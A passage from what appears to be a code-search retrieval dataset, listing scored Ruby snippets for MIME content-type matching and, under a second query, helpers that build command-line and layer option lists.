"text": "def accept?(mime_type)\n !!::Rack::Utils.q_values(accept).find do |mime, _|\n ::Rack::Mime.match?(mime_type, mime)\n end\n end",
"title": ""
},
{
"docid": "fbb362ccc4c69940ca37affca56f55c1",
"score": "0.63700914",
"text": "def is_supported_content_type?(content_type)\n # TODO: Should we allow user-defined accept-encodings?\n content_type =~ JSON_CONTENT_TYPE_REGEX ? true : false\n end",
"title": ""
},
{
"docid": "7a6225b6995c1acefdf7eac2d44f6ad6",
"score": "0.6368367",
"text": "def eql?(other)\n other.respond_to?(:type) && type == other.type\n end",
"title": ""
},
{
"docid": "cd50b4cc7c80f5530cf5861f4e6aed39",
"score": "0.6318984",
"text": "def is_content_type?(type)\n if type.include?('/')\n # otherwise only match the first param\n content_types.any? do |value|\n value = value.split(';',2).first\n\n value == type\n end\n else\n # otherwise only match the sub-type\n content_types.any? do |value|\n value = value.split(';',2).first\n value = value.split('/',2).last\n\n value == type\n end\n end\n end",
"title": ""
},
{
"docid": "cd50b4cc7c80f5530cf5861f4e6aed39",
"score": "0.6318984",
"text": "def is_content_type?(type)\n if type.include?('/')\n # otherwise only match the first param\n content_types.any? do |value|\n value = value.split(';',2).first\n\n value == type\n end\n else\n # otherwise only match the sub-type\n content_types.any? do |value|\n value = value.split(';',2).first\n value = value.split('/',2).last\n\n value == type\n end\n end\n end",
"title": ""
},
{
"docid": "f3320b139d27b34044a8fc62b673bcd4",
"score": "0.6304556",
"text": "def ==(other)\n other.is_a?(ContentDisposition) && other.type == self.type && other.attribute == self.attribute\n end",
"title": ""
},
{
"docid": "7194485ad219efadbac6c1134a8fbd22",
"score": "0.62913555",
"text": "def multipart_form?\n object_params.andand.values.andand.any? do |d| \n d.respond_to?(:content_type) || \n (d.respond_to?(:values) && d.values.any? {|d2| d2.respond_to?(:content_type)} )\n end\n end",
"title": ""
},
{
"docid": "b0150869b7a8ac048ac22fcf726fbc32",
"score": "0.62909764",
"text": "def content_matches?(other)\n logger.debug { \"Matching #{self} content against #{other}...\" }\n content_matches_recursive?(other)\n end",
"title": ""
},
{
"docid": "5e1eca769f93c034b078ee9345e8502f",
"score": "0.6260619",
"text": "def accept_media?(thing)\n MIMETypes.weigh_mime_type(thing, acceptable_media).first > 0\n rescue\n false\n end",
"title": ""
},
{
"docid": "268905561da629c7ee2c9a7680b24f98",
"score": "0.62242836",
"text": "def text_content?(content_type)\n @options[:text_mime_types].each do |mime_type|\n return true if content_type.match(Cobweb.escape_pattern_for_regex(mime_type))\n end\n false\n end",
"title": ""
},
{
"docid": "111d6de6cd8b0a732942752a6909ac12",
"score": "0.62234825",
"text": "def handles?(in_mime_type, requested_mime_type)\n @transformer_table.reverse_each do |ttrow|\n return true if ttrow[1] == in_mime_type && ttrow[2] == requested_mime_type\n end\n false\n end",
"title": ""
},
{
"docid": "ca4d52bcc462386366c9805898fffe17",
"score": "0.62193197",
"text": "def match_content_type(content_type)\n MimeType.find_by_content_type(content_type)\n end",
"title": ""
},
{
"docid": "a8bc8bbfb90b21af064d89154fed8ee9",
"score": "0.6216202",
"text": "def should_have_mime_content_type(name)\n should \"have #{name} content type\" do\n @email.to_s # Not doing this means the content-type is never generated (i smell bug)\n assert_equal name, @email[\"content-type\"].content_type\n end\n end",
"title": ""
},
{
"docid": "e907f9961b9b8cea5b1362f2bd1ca73a",
"score": "0.62005407",
"text": "def multipart?\n @content_type.composite?\n end",
"title": ""
},
{
"docid": "9ce14ba4852f3723fa1b1800cdf258a2",
"score": "0.6189194",
"text": "def <=>(other)\n if other.respond_to?(:content_type)\n @content_type.downcase <=> other.content_type.downcase\n elsif other.respond_to?(:to_s)\n @simplified <=> MIME::Type.simplified(other.to_s)\n end\n end",
"title": ""
},
{
"docid": "9746e2e34b1c35b3b9c08d818d2126e5",
"score": "0.6167108",
"text": "def minifiable?(content_type)\n @content_types.include?(content_type)\n end",
"title": ""
},
{
"docid": "a13c1323f29923de20999aae31f7e0de",
"score": "0.6156712",
"text": "def binary_mime_type?\n _mime_type ? _mime_type.binary? : false\n end",
"title": ""
},
{
"docid": "acbfd3e1659c436a516e919cedab0ad5",
"score": "0.6154412",
"text": "def multipart?(content)\r\n content.is_a?(Hash) && content.values.any? {|v| v.respond_to?(:to_io) || v.is_a?(UploadIO)}\r\n end",
"title": ""
},
{
"docid": "a189aa309b874d07d75d8456d7a29c7f",
"score": "0.6145024",
"text": "def correct_content_type?\n\t\t\tcontent_type = self.response.headers[:content_type] or\n\t\t\t\treturn self.fail_with \"response doesn't have a Content-type header\"\n\n\t\t\treturn fail_with \"response's Content-type is %p\" % [ content_type ] unless\n\t\t\t\tcontent_type.start_with?( 'application/json' ) ||\n\t\t\t\tcontent_type.match?( %r|\\Aapplication/(vnd\\.)?\\w+\\+json\\b| )\n\n\t\t\treturn true\n\t\tend",
"title": ""
},
{
"docid": "e493992dc201d2c52dc438c1287f751a",
"score": "0.61402005",
"text": "def validate_mime_type_inclusion(types, message: nil)\n validate_result(\n types.include?(file.mime_type),\n :mime_type_inclusion, message, types\n )\n end",
"title": ""
},
{
"docid": "abfeeb7844787148fd15073bfe1e0707",
"score": "0.61311406",
"text": "def image?(content_type)\n content_types.include?(content_type)\n end",
"title": ""
},
{
"docid": "abfeeb7844787148fd15073bfe1e0707",
"score": "0.61311406",
"text": "def image?(content_type)\n content_types.include?(content_type)\n end",
"title": ""
},
{
"docid": "d2d526acba148d72917edfef815534bd",
"score": "0.61144817",
"text": "def has_multipart?(obj)\n if obj.respond_to?(:each)\n (obj.respond_to?(:values) ? obj.values : obj).each do |val|\n return true if val.respond_to?(:content_type) || has_multipart?(val)\n end\n end\n false\n end",
"title": ""
},
{
"docid": "7fcf9369773a360896e63e63e2abd32f",
"score": "0.6109326",
"text": "def image?(content_type)\n content_types.include?(content_type)\n end",
"title": ""
},
{
"docid": "0bc72e519162ff480ec506e5a34bab84",
"score": "0.6108234",
"text": "def content_type_set?\n !@_content_type.nil?\n end",
"title": ""
},
{
"docid": "829b3ac3469ac2e6bc6eab8f50803fdb",
"score": "0.61041015",
"text": "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attachment == o.attachment &&\n attachment_type == o.attachment_type\n end",
"title": ""
},
{
"docid": "d61a6378a425a2133bbcc990357ff0a9",
"score": "0.6088908",
"text": "def provides(*types)\n types.map! { |t| mime_types(t) }\n types.flatten!\n condition do\n response_content_type = response['Content-Type']\n preferred_type = request.preferred_type(types)\n\n if response_content_type\n types.include?(response_content_type) || types.include?(response_content_type[/^[^;]+/])\n elsif preferred_type\n params = (preferred_type.respond_to?(:params) ? preferred_type.params : {})\n content_type(preferred_type, params)\n true\n else\n false\n end\n end\n end",
"title": ""
},
{
"docid": "2819015255146e36f0db762f1b9b7ec0",
"score": "0.606827",
"text": "def scribdable?\n ScribdFu::CONTENT_TYPES.include?(content_type)\n end",
"title": ""
},
{
"docid": "ec844b3426ddfdf86ff99d55fe428931",
"score": "0.6065915",
"text": "def provides(*types)\n types.map! { |t| mime_types(t) }\n types.flatten!\n condition do\n if type = response['Content-Type']\n types.include? type or types.include? type[/^[^;]+/]\n elsif type = request.preferred_type(types)\n params = (type.respond_to?(:params) ? type.params : {})\n content_type(type, params)\n true\n else\n false\n end\n end\n end",
"title": ""
},
{
"docid": "a33536384ef0d4df68efd985d9eeed94",
"score": "0.60632825",
"text": "def ==(other)\n super &&\n @data == other.data &&\n @media_type == other.media_type\n end",
"title": ""
},
{
"docid": "8e1b0b3dc80a300fdaee9c23a5ec0f85",
"score": "0.6062387",
"text": "def text_content_type?\n self.header['content-type'] && (self.header['content-type'].main_type == 'text')\n end",
"title": ""
},
{
"docid": "7530a452f9c3a6550bb521edef52293f",
"score": "0.60578483",
"text": "def validate_mime_type_inclusion(whitelist, message: nil)\n whitelist.any? { |mime_type| regex(mime_type) =~ get.mime_type.to_s } \\\n or add_error(:mime_type_inclusion, message, whitelist) && false\n end",
"title": ""
},
{
"docid": "4609557c00561d6b4a07280b79770113",
"score": "0.6045279",
"text": "def media_type?(value)\n media_type.accept?(value)\n end",
"title": ""
},
{
"docid": "e8e5c57c48d4ba220031932ee4ee77d7",
"score": "0.60394543",
"text": "def match_mime_type?(value, matcher)\n v1, v2 = value.split('/'.freeze, 2)\n m1, m2 = matcher.split('/'.freeze, 2)\n (m1 == '*'.freeze || v1 == m1) && (m2.nil? || m2 == '*'.freeze || m2 == v2)\n end",
"title": ""
},
{
"docid": "e8e5c57c48d4ba220031932ee4ee77d7",
"score": "0.60394543",
"text": "def match_mime_type?(value, matcher)\n v1, v2 = value.split('/'.freeze, 2)\n m1, m2 = matcher.split('/'.freeze, 2)\n (m1 == '*'.freeze || v1 == m1) && (m2.nil? || m2 == '*'.freeze || m2 == v2)\n end",
"title": ""
},
{
"docid": "a38a5777b7adfd3218491b86858b8a16",
"score": "0.6039392",
"text": "def is_type_attachment?()\n\t\t\t\tif !@result.nil?\n\t\t\t\t\t@result.each do |elem|\n\t\t\t\t\t\tif elem[:type] == 'attachment'\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "2bc4c08e32c0d53488b56d5a880a82d6",
"score": "0.60332054",
"text": "def content_type_header?(header)\n request.content_type == header\n end",
"title": ""
},
{
"docid": "2bc4c08e32c0d53488b56d5a880a82d6",
"score": "0.60332054",
"text": "def content_type_header?(header)\n request.content_type == header\n end",
"title": ""
},
{
"docid": "954e0c2c61c569b86a58c2d1e054c312",
"score": "0.60270286",
"text": "def request_accept?(mime_type_abb)\n Ground::MimeType[request_accepts.first] == mime_type_abb\n end",
"title": ""
},
{
"docid": "ff3d0f4acfc51fdbff0cb2fce2a5cfde",
"score": "0.5995585",
"text": "def should_respond_with_content_type(content_type)\n should \"respond with content type of #{content_type}\" do\n content_type = Mime::EXTENSION_LOOKUP[content_type.to_s].to_s if content_type.is_a? Symbol\n if content_type.is_a? Regexp\n assert_match content_type, @response.content_type, \"Expected to match #{content_type} but was actually #{@response.content_type}\"\n else\n assert_equal content_type, @response.content_type, \"Expected #{content_type} but was actually #{@response.content_type}\"\n end\n end\n end",
"title": ""
},
{
"docid": "f856a71f159a10a7cf4d245bcee01e02",
"score": "0.5992005",
"text": "def content_type_set?\n false\n end",
"title": ""
},
{
"docid": "41b27a9d472f3918c51805e7f4f4fd2f",
"score": "0.5988589",
"text": "def ==(other)\n super &&\n @content == other.content &&\n @storage_domain == other.storage_domain &&\n @type == other.type\n end",
"title": ""
},
{
"docid": "e8354fc5a30a128241b796be1f814aa4",
"score": "0.5971231",
"text": "def override_content_type?(req)\n (req.content_type.nil? || req.content_type.empty?) && match_method?(req.request_method) &&\n match_path?(req.env['PATH_INFO'])\n end",
"title": ""
},
{
"docid": "a0256b5d443d0b665d082bbffc086dae",
"score": "0.5969677",
"text": "def valid?\n file_set.class.pdf_mime_types.include?(mime_type)\n end",
"title": ""
},
{
"docid": "951119b0e54627dc2a851db8aeba385c",
"score": "0.59396887",
"text": "def match_mime_type?(value, matcher)\n v1, v2 = value.split('/', 2)\n m1, m2 = matcher.split('/', 2)\n (m1 == '*' || v1 == m1) && (m2.nil? || m2 == '*' || m2 == v2)\n end",
"title": ""
},
{
"docid": "ded88a8586e3eb0afe483e971cb94c60",
"score": "0.5932624",
"text": "def recognized? \n return (self.mime != MIME_UNKNOWN)\n end",
"title": ""
},
{
"docid": "3b76ca393e70e4285e65cc756c80f1d9",
"score": "0.5931023",
"text": "def should_process?(env)\n @content_types.empty? || @content_types.any? do |pattern|\n type = response_type(env)\n\n pattern.is_a?(Regexp) ? type =~ pattern : type == pattern\n end\n end",
"title": ""
},
{
"docid": "70522c7ca547c782589d99f093793ba7",
"score": "0.5928762",
"text": "def matches_type?(other)\n self.split(/;/, 2).first == other.split(/;/, 2).first\n end",
"title": ""
},
{
"docid": "edf423d7291dccc184302ac007f69645",
"score": "0.5921711",
"text": "def is_image?\n\t\t['image/gif', 'image/png', 'image/jpeg'].include? content_type\n\tend",
"title": ""
},
{
"docid": "1d9dbf22bd4464588cfba1400eb25315",
"score": "0.59073865",
"text": "def ==(other)\n other.instance_of?(self.class) &&\n @headers == other.headers &&\n @body == other.body\n end",
"title": ""
},
{
"docid": "ed2aa7a7e1afd3ee363758056e8d7eb2",
"score": "0.58910215",
"text": "def casts_to?(type)\n self == type\n end",
"title": ""
},
{
"docid": "e2ee9acefea39688a5ae99e8bbcd982d",
"score": "0.5880535",
"text": "def KIND?(other)\n kind_of? other\n rescue TypeError\n false\n end",
"title": ""
},
{
"docid": "39cbb5c67a2fea1f2ea915b2912dcc47",
"score": "0.5872955",
"text": "def html_content?\n content_type && content_type.include?('text/html')\n end",
"title": ""
},
{
"docid": "83cb40179acad707a6b9df141d9b0b95",
"score": "0.5861994",
"text": "def content_type_is_text?\n self.header['content-type'] && (self.header['content-type'].main_type != \"text\")\n end",
"title": ""
},
{
"docid": "71b6e0669c121fa655d3f09cbc82a973",
"score": "0.5852006",
"text": "def content_type\n super.presence\n end",
"title": ""
},
{
"docid": "dc6987a0e10c4c000561f41411da48b4",
"score": "0.5841772",
"text": "def ==(other)\n return false if self.class != other.class\n\n @content == other.content\n end",
"title": ""
},
{
"docid": "0e1d1bfd9f38b2e021e094d8d146205f",
"score": "0.5835774",
"text": "def match(content_type); end",
"title": ""
},
{
"docid": "85cecce37da38c84fcc5c005db89ca86",
"score": "0.58347166",
"text": "def valid?\n file_set.class.image_mime_types.include?(mime_type)\n end",
"title": ""
},
{
"docid": "e6fb2ef427c911f5c699271d7e8772b3",
"score": "0.58231133",
"text": "def image_is(type)\n mime_type == MIME::Type.new(\"image/#{type}\")\n end",
"title": ""
},
{
"docid": "7307c8243f597329ff96807edfce4275",
"score": "0.58151764",
"text": "def composite?\n media_type == 'message' or media_type == 'multipart'\n end",
"title": ""
},
{
"docid": "7297137b057ced08a5298e4d5e65025d",
"score": "0.5806085",
"text": "def responds_to(*mimes)\n @mimes << mimes\n end",
"title": ""
},
{
"docid": "1e3e1ead96e3c14b3ca16118a7fe137c",
"score": "0.5793389",
"text": "def req_includes_unsupported_media_type?\n content_type = request.env[\"CONTENT_TYPE\"]\n return unless content_type\n content_type = content_type.split(\";\")\n media_type = content_type[0]\n media_type != \"application/vnd.api+json\"\n end",
"title": ""
},
{
"docid": "51da8d35b27c68ca1d783ecfdb26791e",
"score": "0.57919496",
"text": "def comperable_datatype?(other)\n return false unless self.plain? || self.language?\n\n case other\n when RDF::Literal::Numeric, RDF::Literal::Boolean,\n RDF::Literal::Date, RDF::Literal::Time, RDF::Literal::DateTime\n # Invald types can be compared without raising a TypeError if literal has a language (open-eq-08)\n !other.valid? && self.language?\n else\n # An unknown datatype may not be used for comparison, unless it has a language? (open-eq-8)\n self.language?\n end\n end",
"title": ""
},
{
"docid": "e46a8ead506f3854a836d9e19c778e96",
"score": "0.5789942",
"text": "def convert_original?(mime_type)\n !([:jpeg, :png].include?(mime_type.to_sym))\n end",
"title": ""
},
{
"docid": "0b4268bc3a422aba35a50e21060c532e",
"score": "0.57882994",
"text": "def multipart?\n !!(headers[\"Content-Type\"] =~ /^multipart/i)\n end",
"title": ""
}
] |
2d7fae632b1e59cfb225dffb1516b5d8 | Internal functions to generate the list of options for each layer name. The names order needs to be kept in options. | [
{
"docid": "58442df7b99b75fab36cbfa599df87aa",
"score": "0.61790466",
"text": "def _set_data_options_per_names(names, section)\n data_options = []\n\n names.each do |name|\n data_options << _data_options_per_layer(name, section)\n end\n\n data_options\n end",
"title": ""
}
] | [
{
"docid": "431287a3a89265b47eca53a7a45b418c",
"score": "0.6185826",
"text": "def make_options(flag, items)\n items.map { |item| \"#{flag}#{item}\" }.join(\" \")\nend",
"title": ""
},
{
"docid": "c264069ee29505dd4e6453f80c018e88",
"score": "0.6131726",
"text": "def built_option_names(target, opt = {}, &block)\n before = command_scope_member(target, opt).map{ |k,v| v.name }\n instance_eval(&block)\n after = command_scope_member(target, opt).map{ |k,v| v.name }\n after - before\n end",
"title": ""
},
{
"docid": "2342620cdab61df66797f0b57f2c8957",
"score": "0.6114249",
"text": "def option_list(name, options)\n options.map { |option| option(name, option) }.join(' ') if name && options\n end",
"title": ""
},
{
"docid": "a2e3d2f6d3f8e5e9bec07f2f7975a9ed",
"score": "0.610662",
"text": "def build_options(*args)\n abilities = args.shift || {}\n options = args.shift || {}\n options.collect do |option, value|\n check_statement(abilities, option)\n case current = abilities[option.to_sym]\n when String\n \"#{current} #{value}\"\n when Hash\n \"#{current[value]}\"\n when Array\n \"#{option} #{current.collect{|i| i.to_s.downcase} && value.collect{|i| i.to_s.downcase}.join(' ')}\"\n end\n end\n end",
"title": ""
},
{
"docid": "39639215789bfbcdb199bc645c8a9433",
"score": "0.6100401",
"text": "def build_option(name, options, scope); end",
"title": ""
},
{
"docid": "ce549b7719e5618bbdc6e09f11179c5e",
"score": "0.6095522",
"text": "def build_options(options, scope); end",
"title": ""
},
{
"docid": "b1c52c8bceaffb6c8764706834cbc796",
"score": "0.5950467",
"text": "def make_meta_options(layer); end",
"title": ""
},
{
"docid": "8bfe5290cf37c7d25044b7d6487f2886",
"score": "0.5919921",
"text": "def prepare_options(options, name_map = {})\n options_array = options.to_a.select { |(key, value)| !value.nil? }\n options_array.map! do |(key, value)|\n name_map[key.to_sym] ? [name_map[key.to_sym], value] : [key.to_sym, value]\n end\n \n Hash[options_array]\n end",
"title": ""
},
{
"docid": "ace8800145f0294514c867f63ab32a9c",
"score": "0.5917574",
"text": "def build_option_type_options(opts, options, option_types=[])\n #opts.separator \"\"\n #opts.separator \"Options:\"\n options[:options] ||= {} # this is where these go..for now\n options[:option_types] = (options[:option_types] || []) + option_types\n custom_options = options[:options]\n \n # add each one to the OptionParser\n option_types.each do |option_type|\n # skip hidden types\n if option_type['type'] == 'hidden'\n next\n end\n if option_type['fieldName'].empty?\n puts_error \"Missing fieldName for option type: #{option_type}\" if Morpheus::Logging.debug?\n next\n end\n full_field_name = option_type['fieldContext'].to_s.empty? ? option_type['fieldName'] : \"#{option_type['fieldContext']}.#{option_type['fieldName']}\"\n field_namespace = full_field_name.split(\".\")\n field_name = field_namespace.pop\n\n description = \"#{option_type['fieldLabel']}#{option_type['fieldAddOn'] ? ('(' + option_type['fieldAddOn'] + ') ') : '' }#{!option_type['required'] ? ' (optional)' : ''}\"\n if option_type['description']\n # description << \"\\n #{option_type['description']}\"\n description << \" - #{option_type['description']}\"\n end\n if option_type['defaultValue']\n description << \". Default: #{option_type['defaultValue']}\"\n end\n if option_type['helpBlock']\n description << \"\\n #{option_type['helpBlock']}\"\n end\n\n # description = option_type['description'].to_s\n # if option_type['defaultValue']\n # description = \"#{description} Default: #{option_type['defaultValue']}\"\n # end\n # if option_type['required'] == true\n # description = \"(Required) #{description}\"\n # end\n \n value_label = \"VALUE\"\n if option_type['placeHolder']\n value_label = option_type['placeHolder']\n elsif option_type['type'] == 'checkbox'\n value_label = '[on|off]' # or.. true|false\n elsif option_type['type'] == 'number'\n value_label = 'NUMBER'\n elsif option_type['type'] == 'multiSelect'\n value_label = 'LIST'\n # elsif option_type['type'] == 'select'\n # value_label = 'SELECT'\n # elsif option['type'] == 'select'\n end\n full_option = \"--#{full_field_name} #{value_label}\"\n # switch is an alias for the full option name, fieldName is the default\n if option_type['switch']\n full_option = \"--#{option_type['switch']} #{value_label}\"\n end\n arg1, arg2 = full_option, String\n if option_type['shorthand']\n arg1, arg2 = full_option, option_type['shorthand']\n end\n opts.on(arg1, arg2, description) do |val|\n if option_type['type'] == 'checkbox'\n val = (val.to_s != 'false' && val.to_s != 'off')\n elsif option_type['dataType'] != 'string'\n # 'dataType': 'string' added to cli to avoid auto conversion to JSON\n # attempt to parse JSON, this allows blank arrays for multiSelect like --tenants []\n if (val.to_s[0] == '{' && val.to_s[-1] == '}') || (val.to_s[0] == '[' && val.to_s[-1] == ']')\n begin\n val = JSON.parse(val)\n rescue\n Morpheus::Logging::DarkPrinter.puts \"Failed to parse option value '#{val}' as JSON\" if Morpheus::Logging.debug?\n end\n end\n end\n cur_namespace = custom_options\n field_namespace.each do |ns|\n next if ns.empty?\n cur_namespace[ns.to_s] ||= {}\n cur_namespace = cur_namespace[ns.to_s]\n end\n cur_namespace[field_name] = val\n end\n\n # todo: all the various types\n # number \n # checkbox [on|off]\n # select for optionSource and selectOptions\n\n end\n opts\n end",
"title": ""
},
{
"docid": "e5a18ed7b984e4f3063c1542fb6a9b3b",
"score": "0.58300155",
"text": "def build_options(options, scope) #:nodoc:\n options.each do |key, value|\n scope[key] = Foreman::Thor::Option.parse(key, value)\n end\n end",
"title": ""
},
{
"docid": "0936b11679d519e9260b7e27ed589366",
"score": "0.5792173",
"text": "def names\n @opt_types.keys.map {|e| undasherize e }\n end",
"title": ""
},
{
"docid": "3d56a93bb246010d884bd6e261d41f30",
"score": "0.5771228",
"text": "def options_str(opts)\n options = []\n \n opts.each do |(key, value)|\n unless key.kind_of?(String)\n key = key.to_s.gsub('_', '-')\n end\n \n unless key[0] == ?-\n prefix = key.length == 1 ? '-' : '--'\n key = \"#{prefix}#{key}\"\n end\n \n case value\n when true\n options << key\n when false, nil\n next\n else\n options << \"#{key} #{quote(value.to_s)}\"\n end\n end\n \n options.sort\n end",
"title": ""
},
{
"docid": "366152993e3645e51d5f426824fb7cd0",
"score": "0.57704234",
"text": "def options_config(opts = [])\n opts.reject { |o| send(o.underscore.to_sym).nil? }.map do |opt|\n \"#{opt.camelize}=#{send(opt.underscore.to_sym)}\"\n end\n end",
"title": ""
},
{
"docid": "a37dd8fbe56017486b24601e3ed78efe",
"score": "0.57619816",
"text": "def build_options(options, scope)\n options.each do |key, value|\n scope[key] = Thor::Option.parse(key, value)\n end\n end",
"title": ""
},
{
"docid": "983cf317d3be052fe875aa23f5e159d1",
"score": "0.574413",
"text": "def build_options\n @options << description_string() if has_desc?\n end",
"title": ""
},
{
"docid": "ae6c2db1374582ff91e43e66a85f79c5",
"score": "0.5736409",
"text": "def options(name)\n name = name.to_sym\n (names.key? name) ? names[name] : nil\n end",
"title": ""
},
{
"docid": "5d3ff7a9f12f59ffe8755d0f48ac5676",
"score": "0.5734337",
"text": "def build_options_str(options={})\n opt = []\n SUPPORT_OPTS.values.each do |k|\n if options.has_key? k\n key = k.to_s.gsub('_', '-')\n opt << \"--#{key}=#{options[k]}\"\n end\n end\n opt.empty? ? '' : opt.join(\" \")\n end",
"title": ""
},
{
"docid": "f62dad7617d5c34d35607bacb12a6b3c",
"score": "0.5718949",
"text": "def options_str(opts)\n options = []\n \n opts.each do |(key, value)|\n unless key.kind_of?(String)\n key = key.to_s.gsub('_', '-')\n end\n \n unless key[0] == ?-\n prefix = key.length == 1 ? '-' : '--'\n key = \"#{prefix}#{key}\"\n end\n \n case value\n when true\n options << key\n when false, nil\n next\n else\n options << \"#{key} #{quote(value.to_s)}\"\n end\n end\n \n options.sort\nend",
"title": ""
},
{
"docid": "d28b3bafa2514450cf97f15030adf495",
"score": "0.5716101",
"text": "def build_options_str(options={})\n opt = []\n SUPPORTED_OPTS.values.each do |k|\n if options.has_key? k\n key = k.to_s.gsub('_', '-') \n if [ :all_morphs, :partial, :marginal, :allocate_sentence ].include?(k) \n opt << \"--#{key}\" if options[k]==true\n else\n opt << \"--#{key}=#{options[k]}\"\n end\n end\n end\n opt.empty? ? \"\" : opt.join(\" \") \n end",
"title": ""
},
{
"docid": "c9a47b355d6577607b36e255ae48dcc8",
"score": "0.57073754",
"text": "def build_options\n arguments.split(/\\s(?=-)/).map do |argument|\n Option.from_string(argument)\n end\n end",
"title": ""
},
{
"docid": "a76d2843bac7fc21705ee1476abf8065",
"score": "0.56899226",
"text": "def collect_options(params, api_names = @request_info[:inputs].keys)\n options = {}\n api_names.each do |api_name|\n cli_name = map_parameter_key(api_name)\n first_value = first_value_for(params, cli_name, api_name)\n value = transform_value(api_name, first_value, params)\n options[api_name] = value if value\n end\n options\n end",
"title": ""
},
{
"docid": "cf0eab3a97988979b06681d56cdce00e",
"score": "0.5680766",
"text": "def prepare_options(name, options)\n options = Utility.symbolize_keys(options)\n options[:expose] = expand_array_option(options[:expose])\n object = options[:for]\n options[:attributes] = object.respond_to?(:attributes) unless options.has_key? :attributes\n options[:expose] += object.attributes.keys if options[:attributes]\n options\n end",
"title": ""
},
{
"docid": "9c5caa4a60f275195c79f0b69f461d44",
"score": "0.5655303",
"text": "def extracted_options(*names, **options)\n puts \"#{names} / #{options}\"\nend",
"title": ""
},
{
"docid": "796541f671d9e569d6574790dbd656c8",
"score": "0.56529784",
"text": "def options\n option_hash = {}\n my_labels = option_names\n my_inputs = option_fields\n\n my_labels.count.times do |index|\n option_hash[my_labels[index]] = my_inputs[index]\n end\n option_hash\n end",
"title": ""
},
{
"docid": "ef3b4f95dbc85b5fd824d0e6cb7d8349",
"score": "0.5620321",
"text": "def build_list_options(opts, options, params)\n build_standard_list_options(opts, options)\n end",
"title": ""
},
{
"docid": "cd2c887445f0f8830e15c294bb70fffb",
"score": "0.5608596",
"text": "def other_options\n a = []\n options = @options\n options = options.call if options.respond_to?( :call )\n options.each do |k,v|\n o = build_option( k, v )\n o[:sql] = @block.call( k ) unless @block.nil?\n a << o\n end\n a.sort_by {|i| i[:label] }\n end",
"title": ""
},
{
"docid": "9eee2c377eff836687063007d69dbaf5",
"score": "0.56040865",
"text": "def prepare_options\n @options = [\n [\"-- none --\", \"\"],\n [\"MESH:\", \"MESH:\"],\n [\"GENE:\", \"GENE:\"]\n ]\n @project.entity_types.each do |e|\n item = [e.prefix, e.prefix]\n @options << item unless @options.include?(item)\n end\n end",
"title": ""
},
{
"docid": "d1a9be2470a8f2df3c3299b220adbf8e",
"score": "0.5592336",
"text": "def build_options(options)\n options.collect{ |key, value| \" #{key}=\\\"#{value}\\\"\" }.join('')\n end",
"title": ""
},
{
"docid": "6d75291186af6ab8da82c65ec0d91938",
"score": "0.5556934",
"text": "def options_for(name)\n send :\"_#{name}_tool\"\n end",
"title": ""
},
{
"docid": "7bbb9936b8f91008d9d3e035d91e3024",
"score": "0.5549168",
"text": "def split_options(*utils_option_names, **options)\n utils_options, pattern_options = {}, {}\n utils_option_names += %i[force noop verbose]\n\n options.each do |key, value|\n list = utils_option_names.include?(key) ? utils_options : pattern_options\n list[key] = value\n end\n\n [utils_options, pattern_options]\n end",
"title": ""
},
{
"docid": "9cd8a2d576712394a18f96420c22a96d",
"score": "0.55302125",
"text": "def set_option_list\n # ordered_list\n @indexer_status_opts = ordered_list(grap_item_list(\"indexer_status\"))\n @redirect_status_opts = ordered_list(grap_item_list(\"redirect_status\"))\n @who_status_opts = ordered_list(grap_item_list(\"who_status\"))\n @template_opts = ordered_list(grap_item_list(\"template\"))\n @rt_sts_opts = ordered_list(grap_item_list(\"rt_sts\"))\n @stf_status_opts = ordered_list(grap_item_list(\"stf_status\"))\n @loc_status_opts = ordered_list(grap_item_list(\"loc_status\"))\n @contact_status_opts = ordered_list(grap_item_list(\"contact_status\"))\n @cont_sts_opts = ordered_list(grap_item_list(\"cont_sts\"))\n # @state_opts = ordered_list(grap_item_list(\"state\"))\n @state_opts = ordered_list(list_of_states)\n end",
"title": ""
},
{
"docid": "1d15d1c2ea8f485125aaedc81c9c6fc3",
"score": "0.54789007",
"text": "def layers_by_order\n @layer_order.map {|layer_name| @layers[layer_name]}.compact\n end",
"title": ""
},
{
"docid": "8664453a5052398738323e6612728973",
"score": "0.54751736",
"text": "def expand_chained_options!\n args = ARGV[0..-1]\n results = {}\n cmd_order = []\n cmd_names = @config.map{|x| x.name}\n\n chained = []\n while args.any?\n if !(cmd = @config.find{|x| x.name == args.first}).nil?\n cmd_order << args.shift # Maintain oder of given commands\n results[cmd.name] = [] # Add the command to the results\n cmd_names.reject!{|x| x == cmd.name} # Remove command from possible commands\n\n # Collect command options from args to compare against\n opts = args.take_while{|x| !cmd_names.include?(x)}\n args.shift(opts.size)\n\n # Globals are not to be considered for chaining\n results[cmd.name].concat(opts) and next if cmd.name == @k.global\n\n # Chained case is when no options are given but the command has options\n cmd_options = cmd.nodes.select{|x| x.class == Option}\n if opts.size == 0 && cmd_options.any?\n chained << cmd\n else\n # Add cmd with options\n results[cmd.name].concat(opts)\n\n # Add applicable options to chained as well\n chained.each{|other|\n _opts = opts[0..-1]\n named_results = []\n positional_results = []\n\n # Add all matching named options\n #-------------------------------------------------------------------\n i = 0 \n while i < _opts.size\n if (match = match_named(_opts[i], other)).hit?\n named_results << _opts[i];\n _opts.delete_at(i)\n\n # Get the next option to as the value was separate\n if i < _opts.size && !(match.flag? || match.value)\n named_results << _opts[i]\n _opts.delete_at(i)\n end\n else\n i += 1\n end\n end\n\n # Add all matching positional options\n #-------------------------------------------------------------------\n i = 0\n other_positional = other.nodes.select{|x| x.class == Option && x.key.nil?}\n while i < _opts.size\n if !_opts[i].start_with?('-') && other_positional.any?\n positional_results << _opts[i]\n other_positional.shift\n _opts.delete_at(i)\n else\n i += 1\n end\n end\n\n positional_results.each{|x| results[other.name] << x}\n named_results.each{|x| results[other.name] << x}\n }\n end\n end\n end\n\n # Set results as new ARGV command line expression\n ARGV.clear and cmd_order.each{|x| ARGV << x; ARGV.concat(results[x]) }\n end",
"title": ""
},
{
"docid": "61e50dcbbdb64e588abecdb90b1bdc50",
"score": "0.54744786",
"text": "def format_options\n return \"\" if @parameters.options.empty?\n\n longest_option = @parameters.options.map(&:long)\n .compact.max_by(&:length).length\n any_short = @parameters.options.map(&:short).compact.any?\n ordered_options = @order.(@parameters.options)\n\n ordered_options.reduce([]) do |acc, option|\n next acc if option.hidden?\n acc << format_option(option, longest_option, any_short)\n end.join(NEWLINE)\n end",
"title": ""
},
{
